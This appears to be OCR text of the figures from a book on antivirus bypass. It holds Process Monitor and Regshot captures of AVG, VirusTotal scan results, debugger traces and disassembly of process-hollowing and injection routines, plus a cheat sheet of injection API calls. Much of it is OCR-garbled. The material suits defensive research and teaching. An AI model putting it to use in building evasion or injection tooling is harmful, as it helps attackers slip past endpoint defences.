NT AUTHORITY\WETWORK SERVICE C:Windows!system32isvchost exs -k NetworkSer.

NT AUTHORITY\SYSTEM
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM
DESKTOP-LKFGOMUinir

144) c exs [ Micrasat Corporation DESKTOP-LKFGOMUIRir
'] . Micrasoft Corporation NT AUTHORITY\LOGAL SERVIGE
W svehostexe (4708) Host Process for .. C:\Windowstsystem32isvehest exe -Mmmon Corporation DESKTOP-LKFGOMUIRir
£ searchindexer.axs (5562) Microsoft Window... C:\Windowstsystem32iSearchindexer exe [ Microsot Corporation NT AUTHORITY\SYSTEM
svechost exe (B2844) Host Process for .. C:\Windows'System32isvchost axe licrasoft Corporation NT AUTHORITY\SYSTEM
7118) for., Micrasaft Corporation NT AUTHORITY\SYSTEM
W AVGSvcexe (7304) AVG Service :\Program Files\AVGANTviNnS\AVGSve exe -AVG Technologies CZ. NT AUTHORITY\SYSTEM
W avgToolsSve.exe (7532) IAVG Antivirus CiProgram e cz.510 NT AUTHORITY\SYSTEM
[ =svidsagent exe (8532) JAVG Software Ana... C:\Program ava cz,s10. NT AUTHORITY\SYSTEM
55.6%8 (608) Local Security Aut... CWIndowsisystem32sass.exe Microsaft Corporation NT AUTHORITY\SYSTEM
W cwm.exe (376) Deskiop Windew .. C:\Windowstsystem32idw.exe [ | Microsoh Corporation Window ManagerDWM-1
FPetimon oxs (4206) ICTF Loadar CAWindowsisystem3Zictiman axs. Micrasaft Gorporation DESKTOP-LKFGOMUIRi
T Explorer EXE (4528) Windows Explorsr  C:\Windows\Explorer EXE Micrasoft Corporation DESKTOP-LKFGOMUiri
wentoolsd. exe (5092) VMware Tools Cor... C:\Program Files\VMware!\VMware Tools\wmtoolsd. ViMware, Inc. DESKTOP-LKFGOMUIRir
= HEAVGULexs (4724) IAVG Antivirus CiProgram Flles|AVG\Antiviris\ AVGUL exe [ AVG Technologies CZ. DESKTOP-LKFGOMUIrir
| AVGU|.exe (1868) (AVG Antivirus. C:\Program Files\AVG\Antivinus\AVGUl.exe AVG Technologies CZ, DESKTOP-LKFGOMUnir
W AVaULexe (3524) AVG Antivirus €:\Program Files\AVG\ANivinis\AVGUL exe AVG Technologies C2. DESKTOP-LKFGOMUinir
£ Procmon.exe (2236) Process Monitor DESKTOP-LKFGOMUInir
2 Pracmont4.exe (2952) Process Monitor | | m DESKTOP-LKFGOMUnis

11/01/2021 19:03:29

Include Subtree

Process Monitor Filter

& LocalSyste.

Start Time End Time
11/01/2021 19:03:45 /e
11/01/2021 19:03:33 /a0
11/01/2021 18:03:33 '
110172021

Ci\Windows!system32isvchost.exe -k LocalSenvic...
C\Windows!system32isvchost.exe k netsves -p ...

Ci\Windows!System32\svchost.exe -k utcsve -p

11/01/2021 18:03:34 /e
11/01/2021 19:03:34 n/a
11/01/2021 19:03:35 /2

"C:\Program F
C\Windows!system32isvehost.exe -k UnistackSve,

c exs -k Unistack

11/01/2021
11/01/2021 19:03:45 '
110112021

Ci\Windows!system32isvchost exe -k LocalServic. .

C:\Windows'sysiem32isvchest exe - Clipboardsv.

C:\Windowsisystem32iSearchindexer exe /Embed

CWindowsSystem32isuchost axs -k natsves -5 -
& LocalSyste.

11/01/2021 19:03:46 /s
11/01/2021 19:03:46 /e
11/01/2021 19:03:49 /.
11/01/2021 18:03:52nfa
110172021

"C:\Program Files\aVGIANtvirUs\AVESve exe” ...

“C:\Pragram Files\AVGIANtivirusiavgToolsSyc.exe.

11/01/2021 19:07:05n/a
11/01/2021 19:07:06 n/a

"C:\Program
CiWindowsisystemazisass.exe

“cwen exe"

“ctfmon.sxa"

C:Windows!Explorer EXE

*C:AProgram FilesWMwareiVMware Tools\vmiools.

“C:\Program Files/AVGIARtviruS\AVGLI exe” iwelc...

“C:\Pragram Files\AVGIAntivirus\AVGULexs” ~ty)
"C:\Program Files\AVGIANtivirus\AVGUI exe” ~ty;
“C:\Usersinir Deskiop\Sysinternals\Procmon. exe”
ca caly

1170172021
11/01/2021 19:03:32 /8
11/01/2021 19:03:33 nfa
110112021 19:03:45 /.
11/01/2021 18:03:46 /s
11/01/2021 19:04:01 n/an
11/01/2021 19:07:21 n/a
11/01/2021 18:07:22n/a

11/01/2021 22:15:47 11/01/2021 22:15:

11/01/2021 22:06:03n/a

. 110172021

Display entries matching these conditions:

‘Path

v ‘ ‘ends with

v

exe

v ‘ then

Include

Reset

HEBAXsEEE ]

Add

Remove

D troos foom § Coow @ b s () Shabed Teks @ Sevems B Oves [ Cotos (] Sk bt 3 g ks 8 gt ) KrowrClls [ Wolnn €)Wk Prosdrs 3 P Honto ) (54 s 58 ot Provdrs
Publshor Imago’

‘Autorun Entry Doscription Path
¥ /ARE\MicrosoftWindows\CurrentVersion!Run
_!5 AV ane AVG At uc
5 HKUMSOFTWARE Wicrosoff Active Setolinsialed Comoonents
SO AVG Socus Bromer 'AVG Browser Installer __(Verifiod) AVG Technoloaies USA, LLC 15542
'!5 AVG (Verified) AVG. uc
NS AVG (Verified) AVG. uc
_5 Schoduler
Aniivirus Emeraency Updato AVG (Vorifiod) AVG. uc vl
WG Browsor Hoortboot Task (Houh) ~ AVG (Voriod) AVG uc 36\
£ QIAVE Secire B oo Toak ey AVG (Verified) AVG usA LLE (86
U \AVG\Overseer AVG Overseer N-l-d) VO USA. LI omem
\AVGUodateTaskMachineCore AVG Browser (Voriudh AV Tochneloaes USA.LLE 086
EE Ty AVG Browser Ventod) AV Technages USA. LLG B6):
AVG Browsar Usdate Ser...Verfed) AVG Technolodes USA. LLC
AVG Antwirus AVG Antivirus: M (Verifiad) AVG Technolodles USA. LLC - c-\proaram fles\avalantivius\avasve. exe
£ M avabiDSAgent Provides L. (Verified) AVG Technologies USA. LLC - c\proaram fleslavalantivirus\aswidsagent exo
& Govam AVG Browser Updat Sor.. (Varified) AVG abrowserupdate. exo
& ¥ AVGE {Yorifod) AVG Technolaaies USA. LLC - cloroaram s (86) avalrowsariaopkcaton4.1.5542 137 wevaton sorviceaxo
1 M AvaWscReporter AvaWscReporter: AVG re...(Verified) AVG Technoloales USA. LLC fles\avalantivirusiwsc proxv.exe



@ Regshot 1.9.0 x64 ANSI = X

Compare logs save as:
1st shot
@ Plain TXT (O HTML document

2nd shot
Scan dirl[;dir2;dir3;...;dir nn]: Compare
C:\Windows
Clear
Output path: Quit
-:\Users\nir\Desktop\regshot
e

Add comment into the log:
before_AVG|

English v



@4 Regshot 1.9.0 x64 ANSI — X

Compare logs save as:

1st shot
(O Plain TXT (@ HTML document
Scan dirl[;dir2;dir3;...;dir nn]: Compare
C:\Windows
Clear
Output path: Quit
C:\Users\nir\Desktop\regshot
About
Add comment into the log:
English v

Keys:378754 Values:655417 Time:36s812ms



[Keys added: 1336 |

HKLM\SOFTWARE
HKLM\SOFTWARE|
HKLM\SOFTWARE|
HKLM\SOFTWARE|
HKLM\SOFTWARE|
HKLM\SOFTWARE|
HKLM\SOFTWARE|
HKLM\SOFTWARE|
HKLM\SOFTWARE|
HKLM\SOFTWARE
HKLM\SOFTWARE
HKLM\SOFTWARE
HKLM\SOFTWARE|
HKLM\SOFTWARE|
HKLM\SOFTWARE|
HKLM\SOFTWARE|
HKLM\SOFTWARE|
HKLM\SOFTWARE|
HKLM\SOFTWARE|
HKLM\SOFTWARE|
HKLM\SOFTWARE
HKLM\SOFTWARE
HKLM\SOFTWARE
HKLM\SOFTWARE|
HKLM\SOFTWARE|
HKLM\SOFTWARE|
HKLM\SOFTWARE|
HKLM\SOFTWARE|
HKLM\SOFTWARE|
HKLM\SOFTWARE|
HKLM\SOFTWARE|
HKLM\SOFTWARE
HKLM\SOFTWARE
HKLM\SOFTWARE
HKLM\SOFTWARE|
HKLM\SOFTWARE|

HKLM\SOFTWARE|

AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus
AVG\Antivirus

Hns

Hns\Adapters

properties

properties\AntiRansomwareShield

broperties\BehaviorShield

broperties\burger_client

properties\EmailShield

broperties\exclusions

broperties\FileSystemShield

properties\FwSettings

properties\IDP

properties\IDP\Setting

broperties\locks

broperties\NetworkShield

properties\RemoteAccessShield

broperties\ScanStats

properties\ScanStats\Detections

properties\ScriptShield

properties\secapi

broperties\settings

broperties\settings\Alpha

properties\settings\Chest

broperties\settings\Common

properties\settings\GamingMode

properties\settings\Hns

broperties\settings\IPM

broperties\settings\PassiveMode

broperties\settings\RepClient

broperties\settings\Scanner

broperties\settings\SecDns

properties\settings\SecureLine

properties\settings\UiStats

broperties\settings\{ 19EA8BF0-A12F-1AF0-FB25-293AD7155932}
properties\settings\{2243A056-84B3-4327-8E46-5FE41F72EES1}
broperties\settings\{7C4966F0-D502-412D-A636-ACCC39A24BB2}
properties\settings\{93876F24-B4F5-4DBC-97B9-762CD8066719}

roperties\settings\{A9682249-08E7-4BBF-B870-EFBC63AA2888}

= Windows PowerShell

Windows PowerShell , ,
Copyright (C) 2012 Microsoft Corporation. All rights reserved.

PS C:\Users\Terminator> cd HKLM:\SOFTWARE\AVG\Antivirus\Properties
PS HKLM:\SOFTWARE\AVG\Antivirus\Properties> 1s

Hive: HKEY_LOCAL_MACHINE\SOFTWARE\AVG\Antivirus\Properties

Property

IDP
ScanStats
settings
volatile




Chapter 3: Antivirus Research Approaches

offset 0 3 2 i3 4 ! 7 8 9 c d e f 0123456789abcdef
( ! ( 0 00 00

00001al0 00 00

00001a20 O ' 00 00

00001a30 ( 62 6¢C

00001a40 73 74 2 65 7 2 . ' 74 20 77 jast.exe.l just w

00001a50 /4 6f - ; 9 20 4c 45<20>ant to say LOVE

00001a60 55 53 y )0 79 20 JYOU SAN!!.billy

00001a70 j ¢ 7 ' ' 6f 75 Jgates why do you

00001a80 38 / & 3 73 69 | make this possi

00001a90 ; ‘ ‘ 69 6e |ble ? Stop makin

00001aa0 / He 78 20 | g money and fix

00001ab0 7! / < 73 6 / 21 21 00 |your software!!.

00001acO ) ] ' 00 00

00001ado 01 00

00001ae0 ] ! 00 46

00001afo C 08 00

10,78 Command

First Boot Second Boot Third Boot
ntdil.dll user32.dll GDI32.dlI
user32.dll ntdil.dll kernel32.dll
kernel32.dll GDi32.dll ntdil.dll
GD132.dlI kernel32.dll user32.dll




Ring 3

Ring 2

Ring 1

Ring 0

CreateFileW

NtCreateFile

Syscall

Kernel




B file.exe Properties X

General Compatibility Security Details Previous Versions

Object name:  C:\Users\nir\Desktop'file.exe

GTDUP or user names:

}{§SYSTEM

& nir (DESKTOP-LKFGOMU\nir)
52 Administrators (DESKTOP-LKFGOMU\Administrators)

To change permissions, click Edit. Edit...

Permissions for SYSTEM Allow Deny

Full control
Modify

Read & execute
Read

Write

Special permissions

For special permissions or advanced settings,
click Advanced.

Advanced

OK Cancel Apply




Protegent Total Security 10.5.0.6 - Unquoted Service Path

2019.12.26 = Nir Yehoshua (IL) s Risk: [N

Local; Yes Remote: No CVE: N/A CWE: N/A




Chapter 4: Bypassing the Dynamic Engine

> ] VIRUSTOTAL

Analyze suspicious files and URLs to detect types of malware, automatically
share them with the security community

FILE URL SEARCH

-

®

By submitting data below, you are agreeing to our Terms of Service and Privacy Policy, and to the

sharing of your Sample submission with the security community. Please do not submit any personal
information; VirusTotal is not responsible for the contents of your submission. Learn more.

Choose file

(@ Want to automate submissions? Check our AP, free quota grants available for new file uploads

VirusTotal Community Tools Premium Services
Contact Us Join Community API Scripts Intelligence

How It Works Vote and Comment YARA Hunting

Terms of Service Contributors Desktop Apps Graph

Privacy Policy Top Users Browser Extensions APIv3|v2

Blog Latest Comments Mobile App Monitor

Documentation

Intelligence
Hunting
Graph
APIv3|v2
Use Cases



(1) 54 engines detected this file (@
84d3573747fbdf7ca822fd5a48726484c8bé17e74a920dc2a68dd039b8f576fd 196.00 KB 2020-08-05 01:39:12UTC %L
: odf Size 5 months ago EXE
direct-cpu-clock long-sleeps  peexe = dul
x| Community (g
Score
DETECTION DETAILS BEHAVIOR COMMUNITY o
Crowdsourced Sigma Rules
lin cRMCALO HIGHO MEDIUMO  LOWS3
@ 3 matches for rule Hiding Files with Attrib.exe by Sami Ruohonen from Sigma Integrated Rule Set (GitHub)
L Detects usage of attrib.exe to hide files from users.
Acronis @ Suspicious Ad-Aware @ Trojan.GenerickKD.43449841
AegisLab @ TrojanWin32.Cridex.alc AhnlLab-V3 @ Trojan/Win32.Dridex.R344316
Alibaba @ TrojanDownloader:Win32/Occamy.dfee?1... AlYac @ Trojan.GenericKD.43449841
Antiy-AVL @ Trojan[Downloader[/Win32.Cridex SecureAge APEX @ Malicious
Arcabit @ Trojan.Generic.D296FDF1 Avast @ Win32:TrojanX-gen [Trj]
AVG (D) Win32:TrojanX-gen [Trj] BitDefender (1) Trojan.GenericKD.43449841

DETECTION DETAILS RELATIONS BEHAVIOR

@\ﬁrusTotal Jujubox ~ @

a Microsoft Sysinternals
Sysmon

@ Tencent HABO

<Q\ VirusTotal Cuckoofork

@) VirusTotal Jujubox

rt?ProductlD=IS&Type=StubStart

COMMUNITY @

Full report [i




Z Filter calls containing a given text [@NIBW Process tree  Screenshots

Select call methods... - Select processes... ~  Select call types... v Clear Filters
ntdll.dll! NtCreateFile (#2092) 1c52b0c39ae1f8405f09fah77e2ff02cc5083b0b329d06c979f4cadf2eb1f934 exe #native
Arguments:
{"FileHandle":"0x168","objectName":"\\??\\C:\\Users\\<USER>\\Downloads\\1c52b0c39ae1£8405£09fab77e2££02cc5083b0b329d06c9I79fdcasf2ebl £934 . exe"}
Returned value:
0x0
KernelBase.dll! CreateFileW (#2092) 1c52b0c392ae1f8405f09fab77e2{f02cc5083b0b329d06c979f4cadf2eb1f934 exe #file
Arguments:

{"lpSecurityAttributes":"0x0","dwCreationDisposition":"0x3", "dwFlagsAndAttributes":"0x80","1pFileName":"C:\\Users\\
<USER>\\Downloads\\1c52b0c39ael£8405f09fab77e2££02cc5083b0b329d06c979f4cadf2eblf934.exe”, "dwDesiredAccess " : "0x80000000" , "dwShareMode": "0x1"}

Returned value:

0x168




Scanner Engine Ver Sig Date Scan result

ahnlab 9.9.9 9.9.9 2021-02-21 Win32/Sytro.worm.72127 3
alyac 17.7.13.1 17.7.13.1 2021-02-21 Generic.Malware.SN..C52B0248 9
antivir 1.9.2.0 1.9.159.0 2021-02-21 Found nothing 9
antiy AVL SDK 3.0 AVL SDK 3.0 2021-02-21 Worm[P2P]/Win32.Sytro 1
arcabit 1.0 1.0 2021-02-21 Found nothing 8
avast 18.4.3895.0 18.4.3895.0 2021-02-21 Win32:Delf-UDU [Trj] 3
avg 10.0.1405 10.0.1405 2021-02-21 Win32:Delf-UDU [Trj] 3
baidu 2.0.1.0 4.1.3.562192 2021-02-21 Found nothing 13
baidusd 1.0 1.0 2021-02-21 Found nothing 1
bitdefender 7.141118 7.141118 2021-02-20 Found nothing 1
clamav 26085 0.100.2 2021-02-19 Found nothing 1
comodo 6.5.0.819 6.5.0.819 2021-02-17 Worm.Win32.Soltern.GG @7920il 3
ctch 46.5 5.3.14 2021-02-21 Found nothing 1
cyren 6.0.0.4 6.0.0 2021-02-21 Found nothing 2
defenx 11.165.36469 15.2.0.47 2021-02-16 Found nothing 1
drweb 11.0.10.1810231600 11.0.10.1810231600 2021-02-20 Found nothing 2
emsisoft 9.0.0.4799 9.0.0.4799 2021-02-21 Generic.Malware.SN..C52B0248 19
fortinet 1.000, 71.889, 71.844, 71.868 5.4.247 2019-11-04 W32/Sytro.AVCT!worm.p2p 1
fprot 4.6.2.117 6.5.1.5418 2016-02-05 Found nothing 1
fsecure 2015-08-01-02 9.13 2021-02-21 Found nothing 1
gdata 25.28725 25.28725 2021-02-20 Generic.Malware.SN!.C52B0248 15
gridinsoft 1.0.27.118 1.0.27.118 2021-02-05 Malware.Win32.Pack.30272!se 4
hauri 2.73 2.73 2015-01-30 Found nothing 1
hunter 1.0.1.300 1.0.1.300 2021-02-21 Found nothing 1

&Gﬂ}g_f Feb21,2021 Win32:Malware-gen

_ Feb21,2021 Trojan.DownlLoader17.30288

FORATINET  Feb21,2021 W32/Kryptik. EBTT!r

Feb21,2021 Gen:Variant.Graftor.129365 ’MAV Feb21,2021 Found nothing
Feb21,2021 Gen:Variant.Graftor.129365 Feb21,2021  Win32/Kryptik EBTT

Feb21,2021 Found nothing ? F-Secure. Feb21,2021 Trojan.TR/Crypt.XPACK.Gen3

oam Feb21,2021 Gen:Variant.Graftor.129365 Feb21,2021 Trojan.Win32.Crypt n Feb21,2021 Trojan (0004a2eal )

SOPHOS reb21,201  W32/Crastic-A Feb20,2021 TSPY_DARKTEQUILA.A B VBA32 reb19,2021 Trojan.Downloader



Injector

Process Address Space

Kermnel

Program and Program Data

Stack

Heap

Global data, Including:
Shared memory, Shared Libraries or DLLs

Handle, Alloc + Execute Permissions, Injection, Execution

Targeted Process

y

Malicious
Functionality




[®7 Process Monitor Filter

Display entries matching these conditions:

Result ~|[is + || NAME NOT FOUND ~ | then |Indude |
o] [
Column Relation Value Action o
] QDpera’[ion is CreateFile Include
b1 a Path contains Demo Include
b1 a Process Name is Procmeon exe Exclude
] B Process Name is Procexp exe Exclude
] B Process Name is Autoruns exe Exclude
% a Process Name is Procmontd exe Exclude
] a Process Name is Procexptd.exe Exclude
] B Process Name is System Exclude
(1 €3 Operation begins with IRP_MJ_ Exclude
(1 €3 Operation begins with FASTIO_ Exclude W
3
File Edit Format View Help
The Art of Antivirus Bypass
ZF Process Monitor - Sysinternals: www.sysinternals.com - O X
File Edit Event Filter Tools Options Help
[ EEABE|(vAS B MF[HEB LM
Process Name PID  Operation Path Result Detail
. :notepad.exe 10380 @Createﬁle CvUsers'wriel\Desktop'CreateFile_Demo b SUCCESS Desired Access: Generic Read, Disposition: Open, Options: 5t
Mnotepad.exe 10380 gaCreateFile C:Users'wriel\Desktop'CreateFile_Demo b SUCCESS Desired Access: Generic Read, Disposition: Open, Options: 5:
T Mnotepad.exe 10380 aCreateFile C:\Users'wriel\Desktop'CreateFile_Demo bt SUCCESS Desired Access: Generic Read, Disposition: Open, Options: 5:
notepad .exe 10380 &Createﬁle C:\Users'wrigl\Desktop'CreateFile_Demo b SUCCESS Desired Access: Read Attrbutes. Disposition: Open. Options:

Showing 4 of 2,629,527 events (0.00015%) Backed by virtual memory




ﬂ notepad.exe - PID: CDC - Module: kernel32.dll - Thread: Main Thread BCO (switched from 43A4) - x64dbg

File View Debug Trace Plugins Favourites Options Help Nov 26 2019

ERELIGA ISR KA~k & 2300 1 §

B cru | OReferences | W Graph | [Jlog | [lNotes = ® Breakpoints | M8 MemoryMap | [ Call Stack | S@SEH | [of Saipt | @ Symbols | <> Source |

H—— >+ I 25 EACS0500. | mp aWORd  DER S [<&Creat eF1 1 ens T S S e |
| ODOD7FFDEOAS4BEE cC int3
| ODOO7FFDBOAS 4BET cC int3
| ODOD7FFDE0AS4BEE cC int3
| ODOD7FFDEDAS4B69 cC int3
®| ODOD7FFDEB0AS 4BEA cC int3
| ODOD7FFDE0AS4BEE cC int3
| 0DOD7FFDB0AS 4B6C cC int3
| 0DOD7FFDEB0AS 4BED cC int3
| 0DOD7FFDB0AS 4BGE cC int3
# (| DODO7FFDB0AS 4B6F cc int3 .
@ |[ 00007 FFDB0AS 4B7 0 ~ FF25 D2C50500 jmp gword ptr ds:[<&DefineDosDevicews>] |DefineDosDevicew
| ODOD7FFDEOAS4BT 6 cC int3
| ODOD7FFDBOAS4B77 cC int3
#®| ODOD7FFDEOAS4BT B cC int3
| ODOD7FFDEOAS4B7 9 cC int3
#®| ODOD7FFDEOAS4BTA cC int3
#®| ODOD7FFDEOAS4BTE cC int3
| ODOO7FFDBOAS4B7C cC int3
| 0ODOO7FFDEB0AS 4B7D cC int3
| ODOD7FFDBOAS4BTE cC int3
® (| DODO7FFDBOAS 4BTF =3 int3
(| DDOO7FFD80AS4B80| -~ FF25 BACS0500 jmp gword ptr ds:[<&DeleteFileA>] DeleteFileA
| ODOD7FFDEOAS4BBE cC int3
@ | ODOO7FFDEB0AS 4BB7 cC int3
| ODOD7FFDE0OAS4BEE cC int3
#®| ODOD7FFDE0AS4BEY cC int3
# (| DDOD7FFDB0AS 4B3A cC int3
| ODOD7FFDE0AS4BEE cC int3
| 0DOD7FFDEB0AS 4BBC cC int3
| 0DOO7FFDEB0AS 4BBD cC int3
@ | ODOD7FFDB0AS 4BBE cC int3
® (| DDDO7FFDBOAS 4BBF cc int3 v

Jump is taken
gword ptr [00007FFDS0AB1150 <kernel32.&CreatefFilews=]=<kernelbase.CreateFilenw>
. text: 00007 FFD80A54B60 kernel3z.d11: $§24B60 #23F60 <CreateFilew>

Woump1 | @Woump2 | Wloump3s | @Moumps | Woumps @ wathi | xellocals | 2 Stuct I T

00D000F03234E908
TS =T 00D000F03234E910
000 e 000000F0O3234E918
m?FFDSlAllOlO [ W= O LS 000000F03234E920
m?FFDSlAllOZO e Do oelfh e S[IFLD 000000F03234E928
oooo;iiggﬂﬂgig 00DD00F03234E930
00007FFD81A11050 00DDOOF03234E938
00007FFDB81A11060 000000F03234E940
00007FFD81A11070 00DD0OF03234E948
00007FFD81A11080 00D000F03234E950
00007FFD81A11090 00DDOOF03234E958
00007FFD81A110A0 00D000F03234E960
NNNNTEFEMAT AT 1NRN 000000FD3234E968

gy 0 0000 000 @000 ] < e
Command: (bp CreateFileW

* notepad.exe - PID: 4618 - Module: kernelbase.dll - Thread: Main Thread 303C (switched from 3560) - x64dbg
File View Debug Trace Plugins Options Help  Nowv 26 2019

coE(su|te i t2BI/2edPi# LAY

Favourites

By | PReferenes @Gaph | [dlog  [fiNotes  ® Breaponts | M MemoryMap | [J)CalStak | S@sEd  [ofscipt | ®symbok | € Sowce | W Threads BHandes | ¥ Trace
. 1T <RZwCreateriles]
# [ oooo7FFD7F4E7BAD OF1F 4400 00 nop dword ptr ds:[rax+rax],eax
# | 00007FFD7F4E7BAS 8BFS mov edi,eax
® | D0DOTFFD7FAETRAT 3D 220000C0 mp eax,CO000022
e # | 00007FFD7F4E7BAC| ~+ OF84 DE010000 je kernelbase.7FFD7F4E7D8S
i # [ oooo7FFD7F4E7BB2 48:8D4D ES Tea rcx,gword ptr ss:[rbp-18]
i #[ oooo7FFD7F4E7BBE 48:FF15 FBG61900 €all gword ptr ds:[<&RtIReleaseRelativel
; # | DODO7FFD7 F4ETBED OF1F4400 00 nop dword ptr ds:[rax+rax],eax
: ® | D0DOTFFD7F4ETRCZ 6548: 8BOC25 60000000 |mov rox,qword ptr E: [£0]
' # | 00007FFD7F4E7BCE 3302 xor edx.edx
i # [ 00007FFD7F4ETBCD 4C:8B45 98 mov r8,aqword ptr ss:[rbp-6&]) [rbp-68]:L™\\??\\C:\\Users\\uriel\\Desktop\\CreateFile Demo.txt"
H # [ oooo7FFD7F4E7BDL 48:8B849 30 mov rcx,gword ptr ds:[rox+30] [rex+30] L™\ ?20\\C:\\users\\uriel\\Desktop\\CreaterFile_pemo. txt"

* notepad.exe - PID: 4618 - Module: ntdll.dll - Thread: Main Thread 303C - x64dbg

File View Debug Trace Plugins Options  Help Mov 26 2015

FLRLIEA MRS EIE N P SR8 N § J

Favourites

B cPU O References 8 Graph | b Log [l Notes | ® Breakpoints B Memory Map | () Call Stack | &2 SEH | [0 Saipt | @] Symbols| <> Source | ' Threads | #ia Handles | §7 Trace
ZwCreateFile
5:°0U°

mov ri0,rcx

mov eax,55

test byte ptr ds:[7FFE0308],1
jne ntd1l.7FFDB1AAC 845

FE0425 0OB03FEFF 01
75 03

® | 00007 FFDB1AACB33
®| DDOO7FFDB1AACEZE
r----® | 00007 FFD81AACE40

® || 00007 FFDB1AACB47




push edi lpAddress
ush ebx hProcess

“call VirtualAllocEx _1

mov

ne we

ebp, eax
test ebp, ebp
jz short loc_40AFA4

l} L

eax, [esp+24h+NumberOfBytesWritten]

eax ; lpNumberOfBytesWritten
esi ; nSize

0 ; lpModuleName
GetModuleHandleA 0

eax ; lpBuffer

edi ; lpBaseAddress

ebx : _hProcess

WriteProcessMemor
es1, [esp+245+Nuﬁ§er0f3ytesWritten]
short loc_40AFA4

kil
eax, [esp+24h+ThreadId]
eax ; lpThreadId
0 ; dwCreationFlags
eax, [esp+2Ch+lpParameter]
eax ; lpParameter
eax, [esp+30h+lpStartAddress]
eax ; lpStartAddress
0 ; dwStackSize
0 ; lpThreadAttributes
ebx 2 ocess
CreateRemoteThreadhi[
ebx ; hObject
CloseHandle
[esp+24h+var 1C], ebp




0 ; lpEnvironment
4 ; dwCreationFlags |
0 ;7 bInheritHandles
0 ; lpThreadAttributes
0 ; lpProcessAttributes
eax, [ebp+var_ 8]
sub_404A3C
eax ; lpCommandLine
o : 7 i
CreateProcessA
eax, eax
loc_45Bl2C
ez =
W=
lea eax, [ebp+lpAddress]
call sub_45AD34
mov [ebp+lpContext], eax
lcmp [ebp+lpContext], O
jz loc_45AFF2
Tt 5
eax, [ebp+lpContext]
mov dword ptr [eax], 10007h
mov eax, [ebp+lpContext]
eax ; lpContext
eax, [ebp+ProcessInformation.hThread]
X : hThread
GetThreadContext |
test eax, eax
jz loc_45AFE2
=N -
eax, [ebp+NumberOfBytesRead]
eax ; lpNumberOfBytesRead
4 ; nSize
eax, [ebp+Buffer]
eax ; lpBuffer
eax, [ebp+lpContext]
eax, [eax+0A4h]
eax, 8
eax ; lpBaseAddress
eax, [ebp+ProcessInformation.hProcess]
eax ; hProcess
ReadProcessMemory
eax, [edi+34h]
eax, [ebp+Buffer]
short loc_45AF27
¥ 1
W=
v eax, [edi+34h]
ush eax
v eax, [ebp+ProcessInformation.hProcess]
ush eax
call NtUnmapViewOfSection |
est eax, eax
jnz short loc_45AF0C

L

<
|«




v eax, [edi+34h]
ush eax ;7 lpAddress
v eax, [ebp+ProcessInformation.hProcess]

ax SS
VirtualAllocEx

short loc_45AF42

=

FIPIE

loc_45AF42:

cmp [ebp+lpBaseAddress], 0
jz loc_45AFE2
I_"
[
mov eax, ebx
call sub_45ACBO
mov ebx, eax
mov edx, [edi+34h]
mov eax, [ebp+lpBaseAddress]
cmp edx, eax
jz short loc_ 45AF81
I‘I
F™E]
sub eax, [edi+34h]
push eax
push edi
push ebx
call sub_45AC1C
mov eax, [ebp+lpBaseAddress]
mov [edi+34h], eax
mov eax, [esi+3Ch]
add eax, ebx
mov ecx, OF8h
mov edx, edi
call sub_407108
i
F*E
loc_45AF81:
lea eax, [ebp+NumberOfBytesRead]
lpush eax ; lpNumberOfBytesWritten
eax, [edi+50h]
eax ; nSize
ebx 7 lpBuffer
eax, [ebp+lpBaseAddress]
eax ;+ lpBaseAddress
eax, [ebp+ProcessInformation.hProcess]
aax - 1]
WriteProcessMemory
eax, [ebp er ytesRead]
eax ; lpNumberOfBytesWritten
4 ; nSize
eax, [ebp+lpBaseAddress]
eax ; lpBuffer
eax, [ebp+lpContext]
eax, [eax+0A4h]
eax, 8
eax ;+ lpBaseAddress
eax, [ebp+ProcessInformation.hProcess]
eax ; hProcess
WriteProcessMemory
eax, [edi+28h]
eax, [ebp+lpBaseAddress]
edx, [ebp+lpContext]
[edx+0B0Oh], eax
eax, [ebp+lpContext]
eax ;+ lpContext
eax, [ebp+ProcessInformation.hThread]
aAX s D i = d
SetThrea
eax, |ebD SIT Fmation.hThread]
aad
ResumeThread
gax, [ebpTP ESS Tmation.hThread]
[ebp+var_C], eax
e




sub_405BD0
esp, 4

0C0000000h
eax

ds:CreateFileTransacted

7 X
edi, OFFFFFFFFh
short loc_404F15

1 j32 ¢

@==
loc_404F15: ; lpOverlapped

lpush 0

lea eax, [ebp+NumberOfBytesWritten]

mov [ebp+NumberOfBytesWritten], O

lpush eax ; lpNumberOfBytesWritten
push [ebp+nNumberOfBytesToWrite] ; nNumberOfBytesToWrite
lpush [ebp+lpBuffer] ; lpBuffer

lpush edi ; hFile

lcall ds:WriteFile |

test eax, eax

jnz short loc_404F4D

loc_404F4D:
edi
1000000h
ush 2
ush 0
ush 0
ush OF001Fh
eax, [ebpt+var_ 160]

[ebp+var_ 160], O
eax
ds:NtCreateSection

X, X
short loc_404FA4
Tt —

:

loc_404FA4: ; hObject

push edi

mov edi, ds:CloseHandle

call edi ; CloseHandle

push esi : TransactionHandle
call RollbackTransaction

test eax, eax

jnz short loc_404FEl




-@ MalwareAnalysis.co'
HUNTING PROCESS INJECTION BY WINDOWS API CALLS

BY NIR YEHOSHUA (@NIRYEHO) AND URIEL KOSAYEV (@MALFUZZER) y
Thanks to Adam (@hexacorn): http://www.hexacorn.com/blog/ and
Odzhan: https://modexp.wordpress.com/author/odzhan/

CLASSIC DLL OpenProcess,VirtualAllocEx, WriteProcessMemory,
INJECTION CreateRemoteThread

DLL INJECTION USING LoadLibrary / LoadLibraryEx, GetProcAddress,
SETWINDOWSHOOKEX SetWindowsHookEx.

CreateToolhelp32S hot, Pr 32First, Thread32First,
Thread32Next, Process32Next, OpenProcess, VirtualAllocEx,

APC INJECTION WritePr v, JserAPC / ApcThread,
VirtualFreeEx, CloseHandle.

CreateToolhelp32Snapshot, Thread32First, Thread32Next,

OpenThread, CreateEvent, DuplicateHandle,
